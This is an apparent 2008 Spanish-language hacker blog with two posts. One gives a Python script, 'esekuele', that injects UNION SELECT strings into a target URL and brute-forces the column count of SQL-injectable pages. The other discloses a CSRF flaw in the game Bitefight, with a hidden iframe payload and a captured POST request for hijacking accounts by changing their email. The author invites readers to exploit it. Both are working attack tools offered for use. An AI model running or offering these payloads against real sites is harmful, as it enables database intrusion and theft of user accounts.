jueves, 30 de octubre de 2008

Esekuele v 0.1

Bueno esta es la primera version de esekuele conforme vaya teniendo mas tiempo y mas ideas la tratare de ir mejorando

hasta ahorita esta muuuuucho muy basica, lo unico que hace es verificar si la pagina es vulnerable si devuelve la cadena:

The used SELECT statements have a different number of columns

y de ahi sacar el numero de columnas.

ver si despues meterle un ataque de columnas mediante diccionario, conforme vaya teniendo mas tiempo Lengua y tambien si tienen ideas son
aceptadas para ver que mas le podemos poner :-D

aqui les dejo el code:

import urllib2
import string
uno
= "-1/**/union/**/select/**/"
dos = "-1+union+select+/"
print '\n |-----------------------------------------------------------|'
print '\n |----| Komtec1 www.hslteam.org komtec1[at]gmail[dot]com |---|'
print '\n |-------------------| esekuele.py |-------------------------|'
print '\n |-----------------------------------------------------------|'
print '\n |Uso: \n Ingresa Url: '
 

print
'\n |http://www.pagina.com.mx/index.php?id='

print '\n |Donde: id es la variable vulnerable'
print '\n |-----------------------------------------------------------\n\n'
print '\nIngresa la Url'
url2 = raw_input("")
print
'\nEscoje la Inyexion:'
print '\n1: -1/**/union/**/select/**/'
print '\npronto mas xD'
iny = raw_input("")
if
iny == '1':

 
url = url2 + uno
#elif iny == '2':
#
 
url = url2 + dos
else:
 
print
'\nYou think you could fool me -.-'
 
exit()
a = "1"
sql = url + a + "/*"

vulnerable = urllib2.urlopen(sql)
vulnerable2 = vulnerable.read()
if
vulnerable2.find("The used SELECT statements have a different number of columns") >= 0:
 
print
"Es vulnerable, continua el proceso...."
else:
 
print
"No es vulnerable o al menos el inyector no lo detecta xD"

 
exit()
b = 2
for x in range(1, 2000):
 
print
url + a + "/*"
 
sql = url + a + "/*"
 
iny = urllib2.urlopen(sql)
 
chekar = iny.read()
 
if
chekar.find("The used SELECT statements have a different number of columns") >= 0:
 
 
print
"aumentanto columna"

 
else:
 
 
print
"Columnas encontradas... lucky strike!!!"
 
 
print
url + a + "/*"
 
 
print
"Have fun!! :-D"
 
 
exit()
 

 
print
iny.read()
 
iny.close()
 
str(a)

 
a = a + "," + str(b)
 
b = b + 1

y les adjunto el archivo y un screen de como funciona Lengua :

http://hslteam.org/esekuele.rar

domingo, 19 de octubre de 2008

Bitefight Vulnerabilidad XSRF Bitefight Vulnerabilidad XSRF

Bueno hace algun tiempo (poco en realidad xD ) jugaba bitefight jejejej y por cuestiones ajenas a mi xD me bannearon la cuenta, estuve viendo y bitefight es vulnerable a XSRF lo investigue con algo sencillo, al ver que no pedia confirmacion alguna al momento de hacer un cambio en la cuenta trate con comprar fuerza registrandome con otra cuenta, algo asi:

al poner "codigo malicioso" en alguna web es posible realizar acciones sin consentimiento del usuario, por ejemplo si queremos comprar alguna habilidad o que el usuario gaste dinero en una sola cosa e pondria algo como esto:

< width="0px" src="http://s7.bitefight.com.mx/bite/training.php?b=1" height="0px" align="center">< /iframe >

esa parte es para comprar fuerza, se agrega en una pagina y al momento que el usuario entra a la web maliciosa, automaticamente (si esta logueado en bitefight claro

defensa: http://s7.bitefight.com.mx/bite/training.php?b=2
destreza: http://s7.bitefight.com.mx/bite/training.php?b=3
resistencia: http://s7.bitefight.com.mx/bite/training.php?b=4
carisma: http://s7.bitefight.com.mx/bite/training.php?b=5

y asi hay varias acciones para hacer dentro del bf, tal vez diran que no es muy relevante, pero veamos y adentremos un poco mas en el tema, que tal si hacemos que el codigo malicioso sea un archivo php en el cual mande los headers correctos, podriamos incluso robar cuentas, borrarlas y todo lo que pueda hacer un usuario normal, este es el metodo post que se hace al cambiar un mail:

------------------

http://s7.bitefight.com.mx/bite/einstellungen.php




POST /bite/einstellungen.php HTTP/1.1

Host: s7.bitefight.com.mx

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: http://s7.bitefight.com.mx/bite/einstellungen.php

Cookie: BiteFight=59116%3B018580472e62cff0a377c14592cc2534

Content-Type: application/x-www-form-urlencoded

Content-Length: 139

w=y&vkey=f9e95b7f78e1c31713bb9d849b0b5f5b&email=komtec1%40gmail.com&rpg=&catch=&1=1&2=1&3=1&4=&5=&6=&7=&8=&passo=&passn1=&passn2=&delete0=0

HTTP/1.x 200 OK

Date: Sun, 19 Oct 2008 08:51:26 GMT

Server: Apache

Connection: close

Cache-Control: no-cache

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 3315

Content-Type: text/html; charset=utf-8

---------------------

si en esa parte cambiamos Cookie por un getcookie() en el servidor de bitefight y en la variable vkey validandola con la sesion, asi como email por el nuestro o el deseado a cambiar en la cuenta, se cambiara el correo, despues de que cargue toda esa parte del code se necesita agregar otro iframe con la direccion:

http://s7.bitefight.com.mx/bite/einstellungen.php?validate=1

para que mande el correo de validacion al mail puesto antes...

asi cualqueir accion que quieran realizar pueden programar el codigo y hacer que la victima entre a la apgina maliciosa :-D

siguiendo estos pasos se puede juankear bitefight jejeje lo unico que tienes que tener en cuenta es poner el servidor adecuado (s1,s2,s3,s4, etc etc) y si es .com.mx o .es o .com.pe etc :-D

PD. les avise y pensaron que no era relevante por lo tanto me tiraron de a loco Lengua por eso libero esto :-D

si quieren ver un video de demostracion de este "bug" aqui tienen la direccion:

http://elbebedero.net/sipsicambia.rar

es el que les enseñe para que vieran que si era vulnerable Lengua

Saludos y espero le sepan sacar provecho :-D

Komtec1